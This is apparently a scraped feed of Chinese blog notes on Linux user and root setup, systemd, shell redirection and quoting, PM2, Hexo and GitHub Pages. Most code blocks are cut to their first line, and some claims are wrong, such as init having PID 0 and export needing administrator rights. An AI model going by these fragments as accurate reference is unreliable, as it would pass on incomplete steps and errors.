useradd 命令有大量的参数供我们进行个性设置,常用参数如下:
使用 useradd 创建用户的一般步骤如下:
1 | $ useradd -m boo -s /bin/bash |
其中要注意的有:
-r
,将该用户加入到系统用户,系统用户为 id在 1000以下的用户,而普通用户则是id 在 1000以上。事实证明 无论是普通用户还是系统用户 只要密码输入正确都能登入系统。-m
的时候,系统会自动地在 /home 目录下建立一个与新建用户同名的用户主文件夹;如果不使用-m
的话,那么就默认是使用-M
参数,不创建主文件夹,即使你使用了-d
这个参数。所以如果想要自己选择主文件夹,需要同时加上-m
和-d
参数。无论是使用 adduser 还是 useradd 创建的用户,都试着执行一下以下命令:
1 | $ sudo apt-get install vim |
不出意外,你肯定会得到这样一个错误:
1 | [sudo] password for boo: |
这个错误的意思是说该用户并不在 sudoers 文件中,那么该如何解决呢?
使用如下命令:
1 | $ sudo visudo |
然后保存退出,就会发现可以使用 sudo 提权了。
这里有三种方式,先来看看最简单的方式:
方式一:
1 | $ sudo vim /etc/passwd |
需要注意的是:
方式二:(这里以ubuntu 系统为例)
1 | $ sudo visudo # sudo vim /etc/sudoers |
然后修改该用户,使其属于 root 组(wheel):
1 | $ usermod -g root boo |
修改完成之后,使用boo 用户登入,执行命令:su -
,输入 root 账户的密码,即可获得root 权限。
方式三:(这里以ubuntu 为例)
1 | $ sudo visudo # sudo vim /etc/sudoers |
修改完成之后,使用boo 用户登入,执行命令:su -
,输入 root 账户的密码,即可获得root 权限。
方式二、方式三和方式一的区别就是:前者需要知道root 账户的密码,而后者可以直接以普通用户的身份或者管理员身份获取root 权限。
另外还有一个需要注意的地方就是:使用第一种方式获取 root 权限,其实也有弊端,弊端就是 远程使用该用户登入时,还是需要输入 root 密码,才能验证身份成功,是的 必须输入 root 用户的密码。
事实证明,并非上面所述,ssh 连接时的确需要输入密码验证,但不是 root 用户的密码,之前之所以一直看到 Permission denied, please try again.
这样的错误,只是因为 没有开启允许 root 用户远程登入的权限。如何开启,见下文扩展补充。
默认情况下,出于安全原因,root用户帐户密码在Ubuntu Linux 中被锁定。因此,无法使用root用户登录或使用诸如su -
之类的命令成为超级用户。
但可以借助其他方式,使用passwd
命令来修改。因为普通用户只能更改其帐户的密码。超级用户(root)可以更改任何用户帐户的密码(包括它自己)。
使用以下命令成为 root用户:
1 | $ sudo -i |
如果在sudo 命令使用不了的情况下,可以进入单用户模式,再进行修改
1 | $ passwd root |
在Ubuntu中,默认是不能使用 root 账户登入到系统的,如果一定想要用 root账户登入,可以编辑 sshd 配置,执行如下操作:
1 | $ sudo vim /etc/ssh/sshd_config |
init
、service
、systemctl
。至于这三者之间的区别不得而知,所以整理这片笔记的目的就是了解这三者之间的区别。
历史上,Linux 的启动一直采用init 进程。
在类Unix 的计算机操作系统中,Init(初始化的简称)是在启动计算机系统期间启动的第一个进程。
Init 是一个守护进程,它将持续运行,直到系统关闭。它是所有其他进程的直接或间接的父进程。
因为init 的参数全在/etc/init.d
目录下,所以使用 init 启动一个服务,应该这样做:
1 | $ sudo /etc/init.d/nginx start |
通过查看man 手册页可以得知,service是一个运行System V init
的脚本命令。
那么什么是 System V init 呢?
也就是/etc/init.d
目录下的参数。
所以分析可知service 是去/etc/init.d
目录下执行相关程序,服务配置文件的存放目录就是/etc/init.d
.
使用 service 启动一个服务
1 | $ service nginx start |
可以理解成 service 就是init.d
的一种实现方式。
所以这两者启动方式(或者是停止、重启)并没有什么区别。
1 | $ sudo /etc/init.d/nginx start |
但是这两种方式均有如下缺点:
Systemd 就是为了解决这些问题而诞生的。它包括 System and Service Manager,为系统的启动和管理提供一套完整的解决方案。
Systemd 是Linux 系统中最新的初始化系统(init),它主要的设计目的是克服 System V init
固有的缺点,提高系统的启动速度。
根据 Linux 惯例,字母d是守护进程(daemon)的缩写。 Systemd 这个名字的含义,就是它要守护整个系统。
使用了 Systemd,就不需要再用init 了。Systemd 取代了initd(Initd 的PID 是0) ,成为系统的第一个进程(Systemd 的PID 等于 1),其他进程都是它的子进程。
Systemd 的优点是功能强大,使用方便,缺点是体系庞大,非常复杂。
查看Systemd 的版本信息
1 | $ systemctl --version |
Systemd 并不是一个命令,而是一组命令,涉及到系统管理的方方面面。
systemctl是 Systemd 的主命令,用于管理系统。
1 | // 重启系统 |
hostnamectl命令用于查看当前主机的信息。
1 | // 显示当前主机信息 |
localectl命令用于查看本地化设置。
1 | // 查看本地化设置 |
timedatectl命令用于查看当前时区设置。
1 | // 查看当前时区设置 |
init
是最初的进程管理方式service
是init
的另一种实现systemd
则是一种取代 initd
的解决方案其中 systemctl
是 systemd
的主命令,用于管理系统以及服务。
在了解什么是输入输出重定向之前,我们先要搞清楚以下两种输出信息的区别:
1 | [max@localhost 桌面]$ ls |
之所以花这么大力气,理解这个概念,是因为待会有个很重要的知识点要用到这个概念。
1 | 命令 > 文件 将标准输出重定向到一个文件中(清空原有文件的数据) |
实例:
1 | [max@localhost 桌面]$ cat test.txt |
1 | 命令 < 文件将文件作为命令的标准输入 |
输入重定向相对于输出重定向较使用的少一些,可以理解为:输入重定向的作用是把文件直接导入到命令中。
例子:
1 | # 将文件text.txt导入给 `wc -l`命令,统计行数。 |
管道符的概念就是:把前一个命令原本要输出到屏幕的标准正常数据当作是后一个命令的标准输入。
举个例子,把etc
目录下的所有文件的属性信息,作为标准输入传递给 more
命令。
1 | [max@localhost 桌面]$ ls -l /etc/ | more |
1 | [max@localhost test]$ ls |
反斜杠(\):使反斜杠后面的一个变量变为单纯的字符串。
单引号(’’):转义其中所有的变量为单纯的字符串。
双引号(””):保留其中的变量属性,不进行转义处理。
反引号(``):把其中的命令执行后返回结果。
1 | [max@localhost test]$ PRICE=5 |
上面的输出看上去挺对的,但是并不完美,我们希望能够输出“The price of this shirt is $5”,于是我们试着这样写:
1 | [max@localhost test]$ echo "The price of this shirt is $$PRICE" |
不幸的是美元符号和变量提取符号合并后$$
作用是显示当前程序的进程ID。
要想让第一个$
乖乖地作为美元符号,那么就需要使用反斜杠\
来进行转义,将这个命令提取符转义成单纯的文本,去除其特殊功能。
1 | [max@localhost test]$ echo "The price of this shirt is \$$PRICE" |
如果只需要某个命令的输出值时,可以像命令
这样,将命令用反引号括起来,达到预期的效果.
1 | [max@localhost test]$ echo `uname -a` >> file1 |
思考:如何将普通变量转换为全局变量?
使用命令:export [变量名称]
,需要在拥有管理员权限时才能正常使用。
1 | [root@localhost home]# WORKDIR=/home/workdir |
在上面的命令中有一个很重要的知识点:
关于如何在Linux中创建一个变量的问题?有两个地方需要注意。
$
符号来标识。$
。#
。安装
1 | $ npm install pm2 -g |
无缝更新
1 | $ pm2 update |
PM2 中有好几种方式启动应用,一种是直接调用应用入口文件,一种是通过调用配置文件启动应用,还可以在 PM2 上使用 NPM 运行服务。
1 | $ pm2 start npm --name "app" -- start |
在 pm2 上使用 npm 运行服务,--
参数后面的 start 是额外需要传递的参数,注意,中间是有一个空格的。
在生产环境中,通过命令行启动服务
1 | $ pm2 stat app.js |
很多时候,仅仅只是使用 PM2
去启动应用,可能不能完全满足我们的需求。
当需要对应用有更多的要求时,这个时候就需要用到PM2
的配置文件了。
PM2 支持通过配置文件创建管理应用,首先在项目根目录手动创建配置文件precesses.json
:
1 | { |
或者直接使用 pm2 init
命令,自动创建默认的ecosystem.config.js
配置文件:
1 | module.exports = { |
这两种方式都可以创建管理应用,作用都是一样的,区别只是:一个是json
格式的配置文件,一个是js
格式的配置文件。
上面是一个最简单的processes.json
配置,创建了一个myApp
应用,如果你有多个服务,那么apps
这个数组中创建多个应用。
创建好配置文件之后,那么该如何启动呢?
有两种方式:
1 | $ pm2 start processes.json |
可以增加--env
参数,来指定当前启动环境。
package.json
配置文件,配置脚本启动1 | // package.json |
然后就可以直接使用npm start pm2
来启动应用了。
在配置文件你可以指定环境变量、日志文件、进程文件,重启最大次数…等配置项。支持JSON和YAML格式。
PM2 的配置支持非常多的参数,下面会对常用的参数一一做说明。
字段 | 类型 | 值 | 描述 |
---|---|---|---|
name | string | myApp | 应用的名字,默认是脚本文件名 |
cwd | string | /var/www/myApp | 应用程序所在目录 |
script | string | ./server.js | 应用程序的脚本路径,相对于应用程序所在目录 |
log_date_format | string | YYYY-MM-DD HH:mm Z | 日志时间格式 |
error_file | string | - | 错误日志存放路径 |
out_file | string | - | 输出日志存放路径 |
pid_file | string | - | pid文件路径 |
watch | boolean or array | true | 当目录文件或子目录文件有变化时自动重新加载应用 |
ignore_watch | list | [”[/]./”, “node_modules”] | list中的正则匹配的文件和目录有变化时不重新加载应用 |
max_memory_restart | string | 50M | 当应用超过设定的内存大小就自动重启 |
min_uptime | string | 60s | 最小运行时间,这里设置的是60s即如果应用程序在60s内退出,pm2会认为程序异常退出,此时触发重启max_restarts设置数量 |
max_restarts | number | 10 | 设置应用程序异常退出重启的次数,默认15次(从0开始计数) |
instances | number | 1 | 启动实例个数 |
cron_restart | string | 1 0 * * * | 定时重启 |
exec_interpreter | string | node | 应用程序的脚本类型,默认是node |
exec_mode | string | fork | 应用启动模式,支持fork和cluster模式,默认为fork |
autorestart | boolean | true | 应用程序崩溃或退出时自动重启 |
有以下几点需要注意 ⚠️:
processes.json
或者ecosystem.config.js
配置文件如果发生了变化,建议直接删除应用之后,重新创建,否则可能部分配置不会生效。cwd
不要填绝对路径,建议用相对路径,./
表示相对于配置文件根目录,否则可能会出现静态资源丢失的情况。列出所有节点应用程序(进程/微服务)
1 | $ pm2 list |
可以将进程列表以JSON格式打印出来:
1 | $ pm2 jlist |
使用进程ID或名称查看所示的单个Node进程的详细信息:
1 | $ pm2 describe <id | app_name> |
实时监控所有进程CPU或内存使用情况:
1 | $ pm2 monit |
查看某个应用的日志:
1 | $ pm2 logs ['all' | app_name | app_id ] |
1 | $ pm2 logs --json # JSON 格式输出 |
停止进程
1 | $ pm2 stop ['all' | app_name | app_id ] |
重启进程
1 | $ pm2 restart ['all' | app_name | app_id ] |
0秒停机重载进程 (用于 NETWORKED 进程)
1 | $ pm2 reload all |
杀死进程
1 | $ pm2 delete ['all' | app_name | app_id ] |
npm run xxxx
是 node常用的启动方式之一,那么如何使用PM2
来实现对该方式的启动呢?
npm run
、npm start
等命令之所以可以使用,是因为package.json
配置文件中增加了对应的脚本命令。
1 | "scripts": { |
语法:
1 | pm2 start npm --watch --name <taskname> -- run <scriptname>; |
其中 --watch
监听代码变化,--name
重命名任务名称,-- run
后面跟脚本名字
实例:
1 | // 等效于 npm start |
PM2 是一款非常优秀的 Node 进程管理工具,它有着丰富的特性,能够充分利用多核CPU且能够负载均衡、能够帮助应用在崩溃后、指定时间(cluster model)和超出最大内存限制等情况下实现自动重启。
为了保证能够稳定运行,可以参考以下几点建议:
min_uptime
,min_uptime
是应用正常启动的最小持续运行时长,合理设置设置此范围,可以将超出时间判定为异常启动;使用命令:
eval$(ssh-agent)
去创建一个代理进程,但是会提示:No Such file or directory
。
就很纳闷,之前都用着好好的,为什么在新的环境中就不行了?
后来,了解到原来一直使用的 eval$(ssh-agent)
,其中的$()
原来在Linux
中有特殊的意义。
所以这篇笔记专门用来了解 eval
和 反引号
以及 $()
之间的区别。 它们的作用都是命令替换。
1 | $ `ssh-agent` |
直到我输入 eval ssh-agent
时,似乎就对了。
这三种不同的方式都是shell
脚本中的命令代换。
命令代换是指shell
能够将一个命令的标准输出插在一个命令行中任何位置。
首先要介绍的是: eval
它的作用是:重新运算求出参数的内容。
该命令使用于那些一次扫描无法实现其功能的变量。该命令对变量进行两次扫描。
1 | $ touch test.txt |
实例一:
1 | $ DATE1=$(date) |
实例二:
1 | $ echo `echo '\\'` |
暂时没太明白这三者的实际应用场景,不过了解到了 它们之间的一些区别与联系。
Shell 是一个程序,其作用是将用户输入的命令发送到OS(系统内核)。
据说它起源于作为存在于OS 内部和用户之间的外壳的依附着。所以为形象的称作为 壳(Shell)。
Linux Shell 的种类很多,目前流行的Shell 包括ash、bash、ksh、csh、zsh等,种类多了,也就有了标准化的要求,这就是POSIX的由来。
POSIX 表示可移植操作系统接口(UNIX的可移植操作系统接口,缩写为POSIX),POSIX标准定义了操作系统应该为应用程序提供的接口标准。
通过以下命令来查看文件中的内容来查看自己主机中当前有哪些种类的Shell:
1 | $ cat /etc/shells |
如何查看当前正在使用的Shell 类型:
1 | $ echo $SHELL |
$SHELL
是一个环境变量,它记录了Linux 当前用户所使用的Shell类型。
用户可以通过直接输入各种Shell的二进制文件名(因为这些二进制文件本身是可以被执行的),来进入到该Shell下,比如进入zsh
可以直接输入:
1 | $ /bin/zsh |
这个命令为用户又启动了一个Shell,这个Shell在最初登录的那个Shell之后,称为下级的Shell或子Shell。
sh
是Unix 上最古老的Shell,在sh
的基础上添加了各种扩展功能的是bash
,它成为Linux标准Shell。有如下的特点:
ash
是Linux 中占用系统资源最少的一个小Shell,它只包含24个内部命令,因而使用起来很不方便。
csh
是Linux 比较大的内核,共有52个内部命令。该Shell其实是指向/bin/tcsh这样的一个Shell,也就是说,csh其实就是tcsh。
zch是Linux 最大的Shell之一,共有84 个内部命令。 zsh具有如下特性:
GitHub
图床 + raw.githubusercontent
。图片相关的资源全部放在GitHub
上,然后使用GitHub 提供的素材服务器raw.githubusercontent
去访问。但是这种方式存在一个问题,那就是放在 Github 的资源在国内加载速度比较慢,如果网络稍微差一些,资源可能就会加载失败。
因此需要使用 CDN 来加速来优化资源加载速度。
CDN的全称是
Content Delivery Network
,即内容分发网络。CDN是构建在网络之上的内容分发网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。CDN的关键技术主要有内容存储和分发技术。——百度百科
由于某些原因,很多公用免费的 CDN 资源在中国大陆并不很好用,就算是付费的,也有一定的限制,例如每天的刷新次数有限之类的。
幸运的是在中国大陆唯一有 license 的公有 CDN竟然是免费的,它就是——JsDelivr。
A free CDN for Open Source fast, reliable, and automated. —— JsDelivr 官网
根据官网的介绍我们可以知道它是一个免费、快速、可靠、自动化 的CDN。
那么,这么棒的CDN,到底该如何使用呢?下面会一一介绍。
JsDelivr 目前有三种用法:
因为本文的重点是如何使用 GitHub + JsDelivr,来搭建免费的CDN,所以这里就不对其他两种用法做过多介绍。
这个仓库是用于存储资源文件的,最好是public,因为private的仓库,资源链接会带token验证,而这个token会存在过期的问题。
将资源文件加入本地仓库,然后推送至 CDN 的远程仓库。
如果没有发布就直接使用,可能会导致文件加载异常。
自定义发布版本号:
然后点击Publish release
。
只需要通过符合 JSDelivr 规则的 URL 引用,即可直接使用 Github 中的资源。
规则如下:
1 | https://cdn.jsdelivr.net/gh/username/repository@version/file |
参数说明:
cdn.jsdelivr.net/gh/
:jsDeliver 规定Github 的引用地址username
:你的GitHub 用户名repository
:CDN 仓库@version
:发布的版本号file
:资源文件在仓库中的路径版本号不是必需的,是为了区分新旧资源,如果不使用版本号,将会直接引用最新资源,除此之外还可以使用某个范围内的版本,查看所有资源等,具体使用方法如下:
1 | // 通过指定版本号引用 |
同样的一张图片,可以对比一下jsDeliver
和raw.githubusercontent
的访问速度。
这里就不过多介绍什么是Git
了,本文的重点是Commit Log
,如果还不清楚Git
是什么,可以看一下我的Git
系列的其他笔记。
Reviewing Code
的过程这种格式(规范)是我目前觉得相对其他格式(规范)而言,最容易接受、上手的一种。
其核心是每次提交,Commit message 都包括三个部分:Header,Body 和 Footer。
1 | <type>(<scope>): <subject> |
其中,Header 是必需的,Body 和 Footer 可以省略。
Header 部分只有一行,包括三个字段:type(必需)、scope(可选)和 subject(必需)。
type 用于说明 commit
的类别,只允许使用下面 7 个标识。
scope 用于说明 commit
影响的范围,比如数据层、控制层、视图层等等,视项目不同而不同。
subject 是 commit
目的的简短描述,不超过 50 个字符。
Body 部分是对本次 commit 的详细描述,可以分成多行。
Footer 部分只用于不兼容变动和关闭 Issue。
本来我自己一直使用的方式就是:git commit -am "fix login bug"
,虽然并没有绝对的对错,但这显然不是最好的方式。
这种东西并没有强制性的规定,只要团队之间约定好,然后按照这个约定协作就好了。
所以我觉得在团队之间commit
时,可以不用完全按照Angular 规范的Commit message
格式去提交,可以按照以下约定来执行。
commit
时,只用保留 Header 部分就好。pull request
时,才需要 Header、Body、Footer 这三部分。另外commit
时需要注意以下几点:
commit
,一句话说清楚。commit
,不建议一大堆改动,一次commit
。remade
文件以向他人说明此次更改。1 | docs: add FAQ in readme file |
wordcount
插件,所以需要手动安装:1 | npm i --save hexo-wordcount |
themes/volantis/_config.yml
,将 wordcount 插件打开1 |
|
themes/volantis/_config.yml
,将 wordcount
放在需要显示的 meta 位置:1 | # 布局 |
百度统计是百度推出的一款免费的专业网站流量分析工具,能够告诉用户访客是如何找到并浏览用户的网站,在网站上做了些什么,非常有趣,接下来我们把百度统计添加到自己博客当中。
点击获取代码,复制该代码。
在主题配置文件中,增加以下内容:
1 | cnzz: true |
用于设置是否开启百度统计。
themes/volantis/layout/_partial
目录下,新建一个cnzz.ejs
文件,将刚才复制的内容粘贴进去:1 | <% if (theme.cnzz){ %> |
themes/volantis/layout/_partial/footer.ejs
中:1 | <%- partial('cnzz') %> |
完成以上所有操作之后,可以在百度统计管理页面检查代码是否安装正确,如果正确安装,通常二十分钟之后就可以看到网站的分析数据了。
]]>默认效果如下:
因为我使用的Hexo 主题是Volantis
、而该主题目前并没有集成该控件,所以需要手动配置。
Volantis 低版本可能会不适用于本文介绍的方法,可以参考 YINUXY
的 Hexo主题美化 | 给你的博客加上GITHUB日历云和分类
在主题配置文件 themes\volantis\_config.yml
下添加以下内容:
1 | postCalendar: true |
用于设置在归档页面中是否显示’文章日历’控件,如果不想显示,设置为 false
即可。
在归档页面 themes/volantis/layout/archive.ejs
添加以下代码:
1 | <div id="calendar"> |
具体添加位置:
这里会根据主题配置文件中的postCalendar
的值,来判断是否需要渲染。
themes/volantis/layout/_widget
目录下。将其中的第 16 行,替换成以下内容:
1 | <script type="text/javascript" src="https://cdn.jsdelivr.net/gh/0xAiKang/CDN@1.0/blog/js/echarts.min.js"></script> |
至此已经完成了,使用hexo generate && hexo server
查看是否可以正常加载日历图。
默认的样式是高仿gittee
,如果觉得不满意,可以参考官方文档自定义。
Shell
脚本就是将一堆的Shell
命令以及指定执行Shell
,通过放在一个文件中来执行。
下面我们来创建第一个 shell 脚本:
1 | $ vim showdate |
大功告成!这样就完成了一个简单的 shell 脚本的创建,是不是很简单!不过有以下几点需要注意:
#!
开头。运行shell 脚本:
1 | $ ls |
创建完 shell 脚本,想要运行,有两种方案:
在上面的例子中,用的是绝对路径的方式来执行shell 脚本,使用单点操作符表示当前目录下的文件。
需要注意的是,因为文件夹权限的关系,而不能直接用 sudo 命令去执行,因为sudo 命令会检查showdate 并不在sudo 命令列表中。
所以正解是:修改该文件的文件夹权限。
]]>计算机语言可以分为两大类:
低级语言包括:机器语言和汇编语言。
高级语言包括:静态语言和动态语言。
这里就不对机器语言和汇编语言做介绍了,今天的主角是高级语言下的动态语言。
动态语言又叫做脚本语言。
它和传统的静态语言的区别就在于:
1 | 前者的运行过程为:编写->解释->执行 |
脚本语言的优势就在于 只要有一个可以写代码的编辑器和能解释执行的脚本解释器就行了。
这样一想,也就明白了为什么搭建Python
的开发环境远比C#
要快,因为它只要安装一个解释器就好了。
动态语言与静态语言存在的争议之一:
在静态语言中,写代码时必须知道每个变量的类型; 而在动态语言中,随便什么时候,你都可以把变量设为任意类型的值。
最初在学习Shell
脚本时,产生过这样一个问题:
为什么还能用PHP
写Shell
脚本?
当时就很不理解。这里就反应了两个问题:
PHP
的理解不深Shell
脚本的理解不深理论上讲,只要一门语言提供了解释器,这门语言就可以胜任脚本编程。
所以用 PHP
可以写 Shell
脚本,就没有什么好奇怪的了。
你可能会问:这句话里面的 Shell
怎么理解?
还记得吗,Shell
的概念是什么?
Shell
脚本就是将一堆的Shell
命令以及指定执行Shell
,通过放在一个文件中来执行。
脚本语言又可以分为以下两大类:
Shell
脚本Linux
的Shell
、Shell脚本
、Shell环境
的理解。在回答这个问题之前,我们先来考虑一个问题:人是如何跟计算机打交道的?或者说怎样让计算机按照我们的要求完成某个任务?
Shell
就是一种应用程序(注意:我这里用的是一种)。
这个应用程序提供了一个界面(方便我们与计算机进行交互),用户通过这个界面访问操作系统内核的服务。
Shell
脚本(Shell Script
),是一种为 Shell
编写的脚本程序。
Shell 脚本编程有两种方式
Shell
脚本,Shell
会一次性执行脚本中诸多的命令。Shell
编程跟java
、php
编程一样,只要有一个能编写代码的文本编辑器和一个能解释执行的脚本解释器就可以了。
Linux
默认安装了 Shell
解释器。Linux
中,主流的 Shell
是 Bash
。在一般情况下,人们并不区分 Bourne Shell
和 Bourne Again Shell
,所以,像 #!/bin/sh
,它同样也可以改为 #!/bin/bash
。
Windows 出厂时没有内置 Shell
解释器,通常我们都是安装cygwin
或者mingw
模拟器来Linux环境。
如Git的交互界面就是由Mingw
模拟器提供的Bash
。
1 | bash => Bourne Again Shell(/bin/bash) |
打开Bash或者任何一个文本编辑器,新建一个文件 Hello.sh,扩展名为sh
(sh代表shell)。
1 | #!/bin/bash |
上面这个脚本中,有三种不同的元素:
#!
)用来告诉系统使用哪种 Shell 解释器来执行该脚本;#
)是对脚本功能和某些命令的介绍信息,使得看到脚本时能快速反应是做什么的。有两种方式:
1 | $ chmod +x example.sh # 使脚本具有执行权限 |
这种运行方式是,直接运行解释器,其参数就是shell脚本的文件名:
1 | # 执行脚本 |
使用这种方式时,可以不用在脚本第一行声明解释器信息。
1 | $ cat example.php |
momentjs 支持日期格式化、Date、时间戳等相互转换,它使得操作时间变得非常简单。
momentjs
支持多个环境,所有的代码都应该在这两种环境中都可以工作。
1 | npm install moment |
1 | <script src="https://cdn.bootcss.com/moment.js/2.9.0/moment.js"></script> |
获取当前的日期和时间:
1 | moment(); |
相当于moment(new Date()) 此处会返回一个moment封装的日期对象。
1 | moment().format('YYYY年MM月DD日 HH:mm:ss') // "2020年07月07日 07:49:38" |
1 | moment().toDate() // Mon Jan 22 2018 18:11:55 GMT+0800 (中国标准时间) |
1 | moment().second() // 获取当前这一分钟的多少秒 |
一旦解析和操作完成后,需要某些方式来显示 moment。
使用format
来格式化日期:
1 | moment().format() // "2020-07-07T08:24:35+08:00" |
如果不是因为SM.MS 图床在今天突然挂掉了,我可能都不会去想是否需要更换图床这个问题。
于是我开始寻找一个免费、稳定的图床,最后在众多图床中,最后选择了GitHub 图床。
使用GitHub 图床,可能唯一的问题是需要自备好科学上网工具,否则图片无法加载。
为什么不选择国内的那些图床服务?
我只是想存一些图片,而国内的大部分图床服务,还需要做域名备案以及绑定各种服务,感觉很繁琐,加上我的域名不是在国内的域名服务商那里买的,索性就没有考虑国内的图床服务。
有了图床,就需要顺手配置一个图床管理工具,这里我选择的是 PicGo,仅目前支持的图床就有:SM.MS图床,微博图床,七牛图床,腾讯云COS,阿里云OSS,Imgur,又拍云,GitHub 图床等。
首先,你得有一个GitHub 账号。
这个仓库是用于存储图片,最好是public,因为private的仓库,图片链接会带token,而这个token会存在过期的问题。
通过Settings->Developer settings->Personal access tokens
创建一个新的token 用于PicGo操作你的仓库。
把repo的勾打上即可,点击Generate token的绿色按钮生成 token。
创建成功后,会生成一串token,这串token之后不会再显示,所以第一次看到的时候最好保存好。
GitHub 图床的配置还是比较简单的,下面是参数说明。
username/repository
master
raw.githubusercontent.com/username/repository/branch
自定义域名最好按照一定的规则去定义:raw.githubusercontent.com
+你的github用户名+仓库名称+分支名称
raw.githubusercontent.com
是github用来存储用户上传文件的服务地址,是github 的素材服务器 (assets server)。
通常配置完成之后,就可以直接使用了。
如果你上传失败的情况,可以打开PicGo 的日志看看具体是什么异常
如果得到了这样的异常,那么大概率是因为你没有开启全局代理。
1 | [PicGo ERROR] RequestError: Error: connect ECONNREFUSED 13.250.168.23:443` |
因为GitHub 服务器和国内 GFW 的问题会导致有时上传成功,有时上传失败,所以需要自备好科学上网工具。
如果你还有其他问题,可以查阅 PicGo FAQ。
它就是持续集成,听上去好像是一个高大上的概念,但通俗一点解释就是:写完代码提交之后,会根据你的要求,自动做编译测试。
其中最出名大概就是Travis CI了,本文的目的就是快速入门 Travis CI。
持续集成(Continuous Integration)是对小周期的的代码进行更改,其目的是通过以较小的增量开发和测试来构建更健康的软件。
而Travis CI 作为一个持续集成平台,通过自动构建和测试代码,并提供更改成功的即时反馈。
在正式开始之前,需要提前准备好以下先决条件:
需要注意的是:Travis CI不是完全免费的服务,前100个私有构建是免费的,后续就要进行付费,如果你的项目是开源的,或者你是学生,则不受限制。
.travis.yml
文件。其中.travis.yml
文件的目的是告诉 Travis CI 应该做些什么。
以下示例指定了应使用Ruby 2.2和最新版本的JRuby构建的Ruby项目。
1 | language: ruby |
通过访问Travis CI 并选择repository,检查构建状态页面,以根据构建命令的返回状态查看构建是否通过或失败。
]]>新建一个网站。如果没有设置 folder
,Hexo 默认在目前的文件夹建立网站。
1 | $ hexo init [folder] |
layout 有三种选择:
如果没有设置 layout 的话,默认使用 _config.yml 中的 default_layout 参数代替。如果标题包含空格的话,请使用引号括起来。
1 | $ hexo new [layout] <title> |
生成静态文件。
1 | $ hexo generate |
常用参数:
|选项|描述|
|-|-|
|-d, –deploy|文件生成后立即部署网站|
|-w, –watch|监视文件变动|
|-b, –bail|生成过程中如果发生任何未处理的异常则抛出异常|
发表草稿
1 | $ hexo publish [layout] <filename> |
启动服务器。默认情况下,访问网址为: http://localhost:4000/
。
1 | $ hexo server |
部署网站。
1 | $ hexo deploy |
-g
,--generate
:部署之前预先生成静态文件
清除缓存文件 (db.json) 和已生成的静态文件 (public)。
在某些情况(尤其是更换主题后),如果发现对站点的更改无论如何也不生效,那可能需要运行该命令。
1 | $ hexo clean |
列出网站资料。
1 | $ hexo list |
显示 Hexo 版本。
1 | $ hexo version |
在安全模式下,不会载入插件和脚本。当需要安装新插件遭遇问题时,可以尝试以安全模式重新执行。
1 | $ hexo --safe |
在终端中显示调试信息并记录到 debug.log。
1 | $ hexo --debug |
显示 source/_drafts 文件夹中的草稿文章。
1 | $ hexo --draft |
GitHub Pages 为我们免费提供了<username>.github.io
这样的域名作为 GitHub Page,但如果你觉得这个域名太长了,不满意,那么你也可以绑定自己的域名。
通常绑定完成之后,会在项目目录下面生成一个叫做CNAME
的文件,这个文件的作用就是用来记录GitHub Pages 所绑定的域名。
这个时候就会产生一个问题:
CNAME文件会在每次 hexo deploy 时消失,然后需要重新手动绑定,这样就很繁琐。
有以下几种方式可以解决这个问题:
hexo d
之后,就去 GitHub 仓库根目录新建 CNAME文件。—— 繁琐hexo g
之后, hexo d
之前,把CNAME文件复制到 public
目录下面,里面写入你要绑定的域名。—— 繁琐source
文件夹,例如CNAME、favicon.ico、images等,这样在 hexo d
之后就不会被删除了。1 | $ npm install hexo-generator-cname --save |
编辑_config.yml
1 | Plugins: |
推荐第三种方式,简单方便。
Github Pages 是支持绑定自己的私有域名的,但默认只能绑定 CNAME
的私有子域名,那有没有办法主域名呢?
答案是有的。
如果绑定主域名,例如 example.com,建议还设置一个 www
子域,GitHub Pages 将自动在域之间创建重定向,当输入example.com
时,会重定向到 www.example.com
。
通常我们绑定好私有子域名之后,回生成一个CNAME
的文件,里面记录着我们绑定好的私有子域名。
此时只需要去DNS 做解析,创建一个ALIAS、ANAME 或 A 记录:
1 | // GitHub Pages 的 IP 地址 |
这里我选择的是创建A 记录,所以我的DNS 解析是这样的:
配置完DNS 解析之后,可以使用dig
命令来检验是否解析成功:
1 | $ dig example.com +noall +answer |
将example.com 替换成你自己的 apex 域,确认结果与上面 GitHub Pages 的 IP 地址相匹配。
至此,就完成了apex 域的配置了。
这段时间,突然很想把这件事情做好,觉得不能在这么拖下去了,所以便有了这篇文章。
为什么使用Github Pages?
我是出于以下原因考虑的:
总之,如果你想用最简单、最省心的方式,搭建属于自己的博客,那么 Github Pages 一定不会让你失望。
Github Pages分为两类,用户或组织主页、项目主页。
<yourusername>.github.io
的格式去填写。<yourusername>
指的是你的Github 的用户名称。Setting->Options->Github Pages
将 Source
选项设置为Master Branch
,此时这个项目就变成一个 Github Pages项目了。需要注意的是:
http://<yourusername>.github.io
。如果你是通过方式一,创建的Github Pages,那么可以跳过此部分。
在 2018 年 5 月 1 日之后,GitHub Pages 已经开始提供免费为自定义域名开启 HTTPS 的功能,并且大大简化了操作的流程,现在用户已经不再需要自己提供证书,只需要将自己的域名使用 CNAME 的方式指向自己的 GitHub Pages 域名即可。
首先需要在你的 DNS 解析里添加一条解析记录,例如我选择添加子域名blog.aikang.me
,通过 CNAME 的方式指向我刚刚自定义的 GitHub Pages 域名 0xAiKang.github.io
。
添加完成后等待 DNS 解析的生效的同时回到项目的Setting
界面,将刚才的子域名与 Github Pages 绑定在一起。
保存之后,我们只需要耐心等待 GitHub 生成证书并确认域名的解析是否正常。
域名解析成功之后,就可以通过我们刚才绑定的域名进行访问了,但是你会发现,现在只能看到一片空白,这是因为我们的网站还没有任何内容,所以下一步需要做的就是选择一套静态模版系统。
目前市场上有很多优秀的静态模板系统,比如:
为什么要选择Hexo?
最初在选择博客模版系统时,并没有发现 Gridea ,事后发现这个小众的静态博客写作客户端似乎才是我真正想要的。
不过既然选择了Hexo,也是因为它的生态环境很大,可选主题非常多,并且都是开源的。
如何将 Hexo 部署到 GitHub Pages?
.travis.yml
文件:1 | sudo: false |
上面这个配置文件的作用是用来自动构建,编译测试。
将 .travis.yml
推送到 repository 中。Travis CI 会自动开始运行,并将生成的文件推送到同一 repository 下的 gh-pages
分支下。
推送完成之后,会发现多了一个 gh-gages
分支,这个分支就是用于部署站点的分支,但是GitHub Pages 会默认使用master
分支作为发布源,所以我们需要切换发布源。
在Setting->Option->GitHub Pages
下,使用 Source(源)下拉菜单选择发布源。
注意:使用用户或组织主页构建的 Github Pages 不能修改发布源,只能使用默认的 master
分支。
